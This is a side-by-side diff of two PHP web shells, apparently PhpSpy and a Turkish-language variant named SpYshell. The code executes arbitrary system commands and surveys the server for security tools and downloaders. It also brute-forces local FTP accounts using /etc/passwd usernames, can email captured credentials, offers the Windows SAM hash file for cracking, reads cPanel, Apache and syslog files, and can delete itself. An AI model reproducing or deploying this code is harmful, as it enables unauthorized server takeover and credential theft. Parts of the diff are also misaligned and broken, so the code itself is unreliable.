2854 | + | $act = $dspact = "ls"; |
2855 | ||
2856 | - | if ($execfunc=='wscript' && IS_WIN && IS_COM) { |
2856 | + | |
2857 | ||
2858 | - | $wsh = new COM('WScript.shell'); |
2858 | + | if ($act == "ftpquickbrute") |
2859 | ||
2860 | - | $exec = $wsh->exec('cmd.exe /c '.$command); |
2860 | + | { |
2861 | ||
2862 | - | $stdout = $exec->StdOut(); |
2862 | + | echo "<b>Ftp Hizli Sifre Alma :P By KingDefacer</b><br>"; |
2863 | ||
2864 | - | $stroutput = $stdout->ReadAll(); |
2864 | + | if (!win) {echo "Windows ta Calismaz haa ona goreeee SpyHackTeaM <br><br>";} |
2865 | ||
2866 | - | echo $stroutput; |
2866 | + | else |
2867 | ||
2868 | - | } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) { |
2868 | + | { |
2869 | ||
2870 | - | $descriptorspec = array( |
2870 | + | function ashftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) |
2871 | ||
2872 | - | 0 => array('pipe', 'r'), |
2872 | + | { |
2873 | ||
2874 | - | 1 => array('pipe', 'w'), |
2874 | + | if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} |
2875 | ||
2876 | - | 2 => array('pipe', 'w') |
2876 | + | else {$true = true;} |
2877 | ||
2878 | - | ); |
2878 | + | if ($true) |
2879 | ||
2880 | - | $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes); |
2880 | + | { |
2881 | ||
2882 | - | if (is_resource($process)) { |
2882 | + | $sock = @ftp_connect($host,$port,$timeout); |
2883 | ||
2884 | - | fwrite($pipes[0], $command."\r\n"); |
2884 | + | if (@ftp_login($sock,$login,$pass)) |
2885 | ||
2886 | - | fwrite($pipes[0], "exit\r\n"); |
2886 | + | { |
2887 | ||
2888 | - | fclose($pipes[0]); |
2888 | + | echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Baglanildi.. ".$host." icin Giris \"".$login."\" & Sifre \"".$pass."\"</b></a>.<br>"; ob_flush(); |
2889 | ||
2890 | - | while (!feof($pipes[1])) { |
2890 | + | return true; |
2891 | ||
2892 | - | echo fgets($pipes[1], 1024); |
2892 | + | |
2893 | ||
2894 | - | } |
2894 | + | } |
2895 | ||
2896 | - | fclose($pipes[1]); |
2896 | + | } |
2897 | ||
2898 | - | while (!feof($pipes[2])) { |
2898 | + | if (!empty($submit)) |
2899 | ||
2900 | - | echo fgets($pipes[2], 1024); |
2900 | + | { |
2901 | ||
2902 | - | } |
2902 | + | if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} |
2903 | ||
2904 | - | fclose($pipes[2]); |
2904 | + | $fp = fopen("/etc/passwd","r"); |
2905 | ||
2906 | - | proc_close($process); |
2906 | + | if (!$fp) {echo "/etc/passwd -Sifre listesi alinamadi.";} |
2907 | ||
2908 | - | } |
2908 | + | else |
2909 | ||
2910 | - | } else { |
2910 | + | { |
2911 | ||
2912 | - | echo(execute($command)); |
2912 | + | if ($fqb_logging) |
2913 | ||
2914 | - | } |
2914 | + | { |
2915 | ||
2916 | - | p('</pre>'); |
2916 | + | if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} |
2917 | ||
2918 | - | } |
2918 | + | else {$fqb_logfp = false;} |
2919 | ||
2920 | - | }//end shell |
2920 | + | $fqb_log = "FTP Hizli Brute (called SpYshell ".$shver.") Baslanan ".date("d.m.Y H:i:s")."\r\n\r\n"; |
2921 | ||
2922 | if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} | |
2923 | ||
2924 | - | elseif ($action == 'phpenv') { |
2924 | + | |
2925 | ||
2926 | - | $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; |
2926 | + | ob_flush(); |
2927 | ||
2928 | - | $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); |
2928 | + | $i = $success = 0; |
2929 | ||
2930 | - | !$dis_func && $dis_func = 'No'; |
2930 | + | $ftpquick_st = getmicrotime(); |
2931 | ||
2932 | - | $info = array( |
2932 | + | while(!feof($fp)) |
2933 | ||
2934 | - | 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), |
2934 | + | { |
2935 | ||
2936 | - | 2 => array('Server Domain',$_SERVER['SERVER_NAME']), |
2936 | + | $str = explode(":",fgets($fp,2048)); |
2937 | ||
2938 | - | 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), |
2938 | + | if (ashftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) |
2939 | ||
2940 | - | 4 => array('Server OS',PHP_OS), |
2940 | + | { |
2941 | ||
2942 | - | 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), |
2942 | + | echo "<b>Baglanildi -->".getenv("SERVER_NAME")." a login \"".$str[0]."\" Ve sifre \"".$str[0]."\"</b><br>"; |
2943 | ||
2944 | - | 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), |
2944 | + | $fqb_log .= "Baglanildi -->".getenv("SERVER_NAME")." a login \"".$str[0]."\" ve Sifre \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; |
2945 | ||
2946 | - | 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), |
2946 | + | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
2947 | ||
2948 | - | 8 => array('PHP run mode',strtoupper(php_sapi_name())), |
2948 | + | $success++; |
2949 | ||
2950 | - | 9 => array('The file path',__FILE__), |
2950 | + | ob_flush(); |
2951 | ||
2952 | } | |
2953 | ||
2954 | - | 10 => array('PHP Version',PHP_VERSION), |
2954 | + | if ($i > $fqb_lenght) {break;} |
2955 | ||
2956 | - | 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')), |
2956 | + | $i++; |
2957 | ||
2958 | - | 12 => array('Safe Mode',getcfg('safe_mode')), |
2958 | + | |
2959 | ||
2960 | - | 13 => array('Administrator',$adminmail), |
2960 | + | if ($success == 0) {echo "No success. baglantilar!"; $fqb_log .= "No success. baglantilar!\r\n";} |
2961 | ||
2962 | - | 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), |
2962 | + | $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); |
2963 | ||
2964 | - | 15 => array('enable_dl',getcfg('enable_dl')), |
2964 | + | echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Toplam Baglanti: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; |
2965 | ||
2966 | - | 16 => array('display_errors',getcfg('display_errors')), |
2966 | + | $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; |
2967 | ||
2968 | - | 17 => array('register_globals',getcfg('register_globals')), |
2968 | + | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
2969 | ||
2970 | - | 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), |
2970 | + | if ($fqb_logemail) {@mail($fqb_logemail,"SpYshell v. ".$shver." report",$fqb_log);} |
2971 | ||
2972 | - | 19 => array('memory_limit',getcfg('memory_limit')), |
2972 | + | fclose($fqb_logfp); |
2973 | ||
2974 | - | 20 => array('post_max_size',getcfg('post_max_size')), |
2974 | + | } |
2975 | ||
2976 | - | 21 => array('upload_max_filesize',$upsize), |
2976 | + | } |
2977 | ||
2978 | - | 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), |
2978 | + | else |
2979 | ||
2980 | - | 23 => array('disable_functions',$dis_func), |
2980 | + | { |
2981 | ||
2982 | - | ); |
2982 | + | $logfile = $tmpdir_logs."ashsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; |
2983 | ||
2984 | $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); | |
2985 | ||
2986 | - | if($phpvarname) { |
2986 | + | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute Yap\"></form>"; |
2987 | ||
2988 | - | m($phpvarname .' : '.getcfg($phpvarname)); |
2988 | + | } |
2989 | ||
2990 | - | } |
2990 | + | } |
2991 | ||
2992 | } | |
2993 | ||
2994 | - | formhead(array('title'=>'Server environment')); |
2994 | + | if ($act == "d") |
2995 | ||
2996 | - | makehide('action','phpenv'); |
2996 | + | { |
2997 | ||
2998 | - | makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); |
2998 | + | if (!is_dir($d)) {echo "<center><b>Permision Engelledi!</b></center>";} |
2999 | ||
3000 | - | formfooter(); |
3000 | + | else |
3001 | ||
3002 | { | |
3003 | ||
3004 | - | $hp = array(0=> 'Server', 1=> 'PHP'); |
3004 | + | echo "<b>Uzanti Bilgisi:</b><table border=0 cellspacing=1 cellpadding=2>"; |
3005 | ||
3006 | - | for($a=0;$a<2;$a++) { |
3006 | + | if (!$win) |
3007 | ||
3008 | - | p('<h2>'.$hp[$a].' »</h2>'); |
3008 | + | { |
3009 | ||
3010 | - | p('<ul class="info">'); |
3010 | + | echo "<tr><td><b>Owner/Group</b></td><td> "; |
3011 | ||
3012 | - | if ($a==0) { |
3012 | + | $ow = posix_getpwuid(fileowner($d)); |
3013 | ||
3014 | - | for($i=1;$i<=9;$i++) { |
3014 | + | $gr = posix_getgrgid(filegroup($d)); |
3015 | ||
3016 | - | p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); |
3016 | + | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); |
3017 | ||
3018 | - | } |
3018 | + | } |
3019 | ||
3020 | - | } elseif ($a == 1) { |
3020 | + | echo "<tr><td><b>Permissions(Engel)</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Olusturma Zamani:</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Giris Zamani:</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>Modifiye Zamani:</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; |
3021 | ||
3022 | - | for($i=10;$i<=23;$i++) { |
3022 | + | } |
3023 | ||
3024 | - | p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); |
3024 | + | |
3025 | ||
3026 | - | } |
3026 | + | if ($act == "phpinfo") {@ob_clean(); phpinfo(); ashshexit();} |
3027 | ||
3028 | - | } |
3028 | + | if ($act == "security") |
3029 | ||
3030 | - | p('</ul>'); |
3030 | + | { |
3031 | ||
3032 | - | } |
3032 | + | echo "<center><b>Server Guvenlik Bilgisi:</b></center><b>Dizin: ".$hopenbasedir."</b><br>"; |
3033 | ||
3034 | - | }//end phpenv |
3034 | + | if (!$win) |
3035 | ||
3036 | { | |
3037 | ||
3038 | - | elseif ($action == 'secinfo') { |
3038 | + | if ($nixpasswd) |
3039 | ||
3040 | { | |
3041 | ||
3042 | - | secparam('Server software', @getenv('SERVER_SOFTWARE')); |
3042 | + | if ($nixpasswd == 1) {$nixpasswd = 0;} |
3043 | ||
3044 | - | secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); |
3044 | + | echo "<b>*nix /etc/passwd:</b><br>"; |
3045 | ||
3046 | - | secparam('Open base dir', @ini_get('open_basedir')); |
3046 | + | if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} |
3047 | ||
3048 | - | secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); |
3048 | + | if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} |
3049 | ||
3050 | - | secparam('Safe mode include dir', @ini_get('safe_mode_include_dir')); |
3050 | + | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>"; |
3051 | ||
3052 | - | secparam('cURL support', function_exists('curl_version')?'enabled':'no'); |
3052 | + | $i = $nixpwd_s; |
3053 | ||
3054 | - | $temp=array(); |
3054 | + | while ($i < $nixpwd_e) |
3055 | ||
3056 | - | if(function_exists('mysql_get_client_info')) |
3056 | + | { |
3057 | ||
3058 | - | $temp[] = "MySql (".mysql_get_client_info().")"; |
3058 | + | $uid = posix_getpwuid($i); |
3059 | ||
3060 | - | if(function_exists('mssql_connect')) |
3060 | + | if ($uid) |
3061 | ||
3062 | - | $temp[] = "MSSQL"; |
3062 | + | { |
3063 | ||
3064 | - | if(function_exists('pg_connect')) |
3064 | + | $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; |
3065 | ||
3066 | - | $temp[] = "PostgreSQL"; |
3066 | + | echo join(":",$uid)."<br>"; |
3067 | ||
3068 | - | if(function_exists('oci_connect')) |
3068 | + | |
3069 | ||
3070 | - | $temp[] = "Oracle"; |
3070 | + | $i++; |
3071 | ||
3072 | - | secparam('Supported databases', implode(', ', $temp)); |
3072 | + | } |
3073 | ||
3074 | } | |
3075 | ||
3076 | - | if( !IS_WIN ) { |
3076 | + | else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} |
3077 | ||
3078 | - | $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); |
3078 | + | } |
3079 | ||
3080 | - | $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); |
3080 | + | else |
3081 | ||
3082 | - | $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); |
3082 | + | { |
3083 | ||
3084 | - | secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no'); |
3084 | + | $v = $_SERVER["WINDIR"]."\repair\sam"; |
3085 | ||
3086 | - | secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no'); |
3086 | + | if (file_get_contents($v)) {echo "<b><font color=red>Winnt Sifresini Kiramazssin :( (".$v.") </font></b><br>";} |
3087 | ||
3088 | - | secparam('OS version', @file_get_contents('/proc/version')); |
3088 | + | else {echo "<b><font color=green>Sen winnt Sifresini Kirabilirsin dostum :)<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Indir</b></u></a>, ve kullan lcp.crack+ .</font></b><br>";} |
3089 | ||
3090 | - | secparam('Distr name', @file_get_contents('/etc/issue.net')); |
3090 | + | } |
3091 | ||
3092 | - | $safe_mode = @ini_get('safe_mode'); |
3092 | + | if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>SpyHaCKeRz.CoM</b></u></a></font></b><br>";} |
3093 | ||
3094 | - | if(!$GLOBALS['safe_mode']) { |
3094 | + | if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>Cpanel Loglarini Gor</b></u></a></font></b><br>";} |
3095 | ||
3096 | - | $temp=array(); |
3096 | + | if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache Konfigirasyon (httpd.conf)</b></u></a></font></b><br>";} |
3097 | ||
3098 | - | foreach ($userful as $item) |
3098 | + | if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache Konfigirasyon (httpd.conf)</b></u></a></font></b><br>";} |
3099 | ||
3100 | - | if(which($item)){$temp[]=$item;} |
3100 | + | if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog Konfigirasyon (syslog.conf)</b></u></a></font></b><br>";} |
3101 | ||
3102 | - | secparam('Userful', implode(', ',$temp)); |
3102 | + | if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Gunluk Mesaj</b></u></a></font></b><br>";} |
3103 | ||
3104 | - | $temp=array(); |
3104 | + | if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} |
3105 | ||
3106 | - | foreach ($danger as $item) |
3106 | + | function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} |
3107 | ||
3108 | - | if(which($item)){$temp[]=$item;} |
3108 | + | displaysecinfo("Isletim sistemi",myshellexec("cat /proc/version")); |
3109 | ||
3110 | - | secparam('Danger', implode(', ',$temp)); |
3110 | + | displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); |
3111 | ||
3112 | - | $temp=array(); |
3112 | + | displaysecinfo("Sinif Adi",myshellexec("cat /etc/issue.net")); |
3113 | ||
3114 | - | foreach ($downloaders as $item) |
3114 | + | displaysecinfo("Sinif adi (2)",myshellexec("cat /etc/*-realise")); |
3115 | ||
3116 | - | if(which($item)){$temp[]=$item;} |
3116 | + | displaysecinfo("Islemci",myshellexec("cat /proc/cpuinfo")); |
3117 | ||
3118 | - | secparam('Downloaders', implode(', ',$temp)); |
3118 | + | displaysecinfo("RAM",myshellexec("free -m")); |
3119 | ||
3120 | - | secparam('Hosts', @file_get_contents('/etc/hosts')); |
3120 | + | displaysecinfo("Hard Disk Alani",myshellexec("df -h")); |
3121 | ||
3122 | - | secparam('HDD space', execute('df -h')); |
3122 | + | displaysecinfo("Local Dizin",myshellexec("lsattr -a")); |
3123 | ||
3124 | - | secparam('Mount options', @file_get_contents('/etc/fstab')); |
3124 | + | displaysecinfo("Disk Yazma Bilgileri ",myshellexec("cat /etc/fstab")); |
3125 | ||
3126 | - | } |
3126 | + | displaysecinfo("cURL Yuklu?",myshellexec("which curl")); |
3127 | ||
3128 | - | } else { |
3128 | + | displaysecinfo("lynx Yuklu?",myshellexec("which lynx")); |
3129 | ||
3130 | - | secparam('OS Version',execute('ver')); |
3130 | + | displaysecinfo("links Yuklu?",myshellexec("which links")); |
3131 | ||
3132 | - | secparam('Account Settings',execute('net accounts')); |
3132 | + | displaysecinfo("fetch Yuklu?",myshellexec("which fetch")); |
3133 | ||
3134 | - | secparam('User Accounts',execute('net user')); |
3134 | + | displaysecinfo("GET Yuklu?",myshellexec("which GET")); |
3135 | ||
3136 | - | secparam('IP Configurate',execute('ipconfig -all')); |
3136 | + | displaysecinfo("perl Yuklu?",myshellexec("which perl")); |
3137 | ||
3138 | - | } |
3138 | + | displaysecinfo("Apache yuklu yer ?",myshellexec("whereis apache")); |
3139 | ||
3140 | - | }//end |
3140 | + | displaysecinfo("Perl Yuklu yer ?",myshellexec("whereis perl")); |
3141 | ||
3142 | displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); | |
3143 | ||
3144 | - | else { |
3144 | + | displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); |
3145 | ||
3146 | - | m('Undefined Action'); |
3146 | + | displaysecinfo("locate my.conf",myshellexec("locate my.conf")); |
3147 | ||
3148 | displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); | |
3149 | ||
3150 | } | |
3151 | ||
3152 | if ($act == "mkfile") | |
3153 | ||
3154 | - | </td></tr></table> |
3154 | + | { |
3155 | ||
3156 | - | <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"> |
3156 | + | if ($mkfile != $d) |
3157 | ||
3158 | - | <span style="float:right;"><?php debuginfo();ob_end_flush();?></span> |
3158 | + | { |
3159 | ||
3160 | - | Powered by <a title="Build 20110502" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved. |
3160 | + | if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} |
3161 | ||
3162 | - | </div> |
3162 | + | elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} |
3163 | ||
3164 | - | </body> |
3164 | + | else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} |
3165 | ||
3166 | - | </html> |
3166 | + | } |
3167 | ||
3168 | else {$act = $dspact = "ls";} | |
3169 | ||
3170 | } | |
3171 | ||
3172 | if ($act == "encoder") | |
3173 | ||
3174 | - | /*====================================================== |
3174 | + | { |
3175 | ||
3176 | - | ??? |
3176 | + | echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Cyriptos:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Girilen Veri:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"Tamam\"><br><br></center><b>Hashes</b>:<br><center>"; |
3177 | ||
3178 | - | ======================================================*/ |
3178 | + | foreach(array("md5","crypt","sha1","crc32") as $v) |
3179 | ||
3180 | { | |
3181 | ||
3182 | - | function secparam($n, $v) { |
3182 | + | echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; |
3183 | ||
3184 | - | $v = trim($v); |
3184 | + | } |
3185 | ||
3186 | - | if($v) { |
3186 | + | echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> |
3187 | ||
3188 | - | p('<h2>'.$n.' »</h2>'); |
3188 | + | <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> |
3189 | ||
3190 | - | p('<div class="infolist">'); |
3190 | + | <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; |
3191 | ||
3192 | - | if(strpos($v, "\n") === false) |
3192 | + | echo "<center>base64_decode - "; |
3193 | ||
3194 | - | p($v.'<br />'); |
3194 | + | if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} |
3195 | ||
3196 | - | else |
3196 | + | else |
3197 | ||
3198 | - | p('<pre>'.$v.'</pre>'); |
3198 | + | { |
3199 | ||
3200 | - | p('</div>'); |
3200 | + | $debase64 = base64_decode($encoder_input); |
3201 | ||
3202 | - | } |
3202 | + | $debase64 = str_replace("\0","[0]",$debase64); |
3203 | ||
3204 | $a = explode("\r\n",$debase64); | |
3205 | ||
3206 | - | function m($msg) { |
3206 | + | $rows = count($a); |
3207 | ||
3208 | - | echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">'; |
3208 | + | $debase64 = htmlspecialchars($debase64); |
3209 | ||
3210 | - | echo $msg; |
3210 | + | if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} |
3211 | ||
3212 | - | echo '</div>'; |
3212 | + | else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} |
3213 | ||
3214 | echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; | |
3215 | ||
3216 | - | function scookie($key, $value, $life = 0, $prefix = 1) { |
3216 | + | } |
3217 | ||
3218 | - | global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; |
3218 | + | echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; |
3219 | ||
3220 | - | $key = ($prefix ? $cookiepre : '').$key; |
3220 | + | $c = strlen($encoder_input); |
3221 | ||
3222 | - | $life = $life ? $life : $cookielife; |
3222 | + | for($i=0;$i<$c;$i++) |
3223 | ||
3224 | - | $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; |
3224 | + | { |
3225 | ||
3226 | - | setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); |
3226 | + | $hex = dechex(ord($encoder_input[$i])); |
3227 | ||
3228 | - | } |
3228 | + | if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} |
3229 | ||
3230 | - | function multi($num, $perpage, $curpage, $tablename) { |
3230 | + | elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} |
3231 | ||
3232 | - | $multipage = ''; |
3232 | + | } |
3233 | ||
3234 | - | if($num > $perpage) { |
3234 | + | echo "\" readonly><br></center></form>"; |
3235 | ||
3236 | - | $page = 10; |
3236 | + | |
3237 | ||
3238 | - | $offset = 5; |
3238 | + | if ($act == "fsbuff") |
3239 | ||
3240 | - | $pages = @ceil($num / $perpage); |
3240 | + | { |
3241 | ||
3242 | - | if($page > $pages) { |
3242 | + | $arr_copy = $sess_data["copy"]; |
3243 | ||
3244 | - | $from = 1; |
3244 | + | $arr_cut = $sess_data["cut"]; |
3245 | ||
3246 | - | $to = $pages; |
3246 | + | $arr = array_merge($arr_copy,$arr_cut); |
3247 | ||
3248 | - | } else { |
3248 | + | if (count($arr) == 0) {echo "<center><b>Tampon Bos</b></center>";} |
3249 | ||
3250 | - | $from = $curpage - $offset; |
3250 | + | else {echo "<b>Dosya Sistem' in Tampon u</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} |
3251 | ||
3252 | - | $to = $curpage + $page - $offset - 1; |
3252 | + | |
3253 | ||
3254 | - | if($from < 1) { |
3254 | + | if ($act == "selfremove") |
3255 | ||
3256 | - | $to = $curpage + 1 - $from; |
3256 | + | { |
3257 | ||
3258 | - | $from = 1; |
3258 | + | if (($submit == $rndcode) and ($submit != "")) |
3259 | ||
3260 | - | if(($to - $from) < $page && ($to - $from) < $pages) { |
3260 | + | { |
3261 | ||
3262 | - | $to = $page; |
3262 | + | if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using SpYshell v.".$shver."!"; ashshexit(); } |
3263 | ||
3264 | - | } |
3264 | + | else {echo "<center><b>Silinemedi :( ".__FILE__."!</b></center>";} |
3265 | ||
3266 | - | } elseif($to > $pages) { |
3266 | + | } |
3267 | ||
3268 | - | $from = $curpage - $pages + $to; |
3268 | + | else |
3269 | ||
3270 | - | $to = $pages; |
3270 | + | { |
3271 | ||
3272 | - | if(($to - $from) < $page && ($to - $from) < $pages) { |
3272 | + | if (!empty($rndcode)) {echo "<b>Hata: Yanlis konfirmation</b>";} |
3273 | ||
3274 | - | $from = $pages - $page + 1; |
3274 | + | $rnd = rand(0,9).rand(0,9).rand(0,9); |
3275 | ||
3276 | - | } |
3276 | + | echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Eminmisin ? <br>Dogrulama gir \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"Evet\"></form>"; |
3277 | ||
3278 | - | } |
3278 | + | } |
3279 | ||
3280 | - | } |
3280 | + | |
3281 | ||
